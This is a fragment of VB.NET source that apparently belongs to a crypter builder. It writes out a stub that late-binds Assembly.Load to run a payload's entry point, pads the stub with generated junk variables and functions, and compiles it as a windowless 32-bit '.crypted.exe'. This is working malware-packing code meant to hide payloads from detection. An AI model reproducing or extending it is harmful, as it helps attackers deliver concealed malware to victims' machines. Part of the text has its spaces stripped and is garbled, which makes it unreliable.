"NewLateBinding.LateCall(NewLateBinding.LateGet(payload, N, EP, New Object(-1) {}, N, N, N), N, INV, New Object() { N, N }, N, N, N, T)"&vbCrLf&
GenerateJunkVariables()&vbCrLf&
"End Sub"&vbCrLf&
"Function GetStub(payload As Object)"&vbCrLf&
GenerateJunkVariables()&vbCrLf&
"Dim result = NewLateBinding.LateGet(N, GetType(Assembly), L, New Object() { RuntimeHelpers.GetObjectValue(payload) }, N, N, New Boolean() { T })"&vbCrLf&
GenerateJunkVariables()&vbCrLf&
"Return result"&vbCrLf&
"End Function"&vbCrLf&
GenerateJunkFunctions()&vbCrLf&
"End Module"
DimproviderAsNewVBCodeProvider(),
parametersAsNewCompilerParametersWith{
.GenerateExecutable=True,' Generating an executable file (.exe)
.OutputAssembly=assemblyName&".crypted.exe",' Name and path to save the executable file
.CompilerOptions="/target:winexe /platform:x86"' Compiler options to create a 32-bit console-less file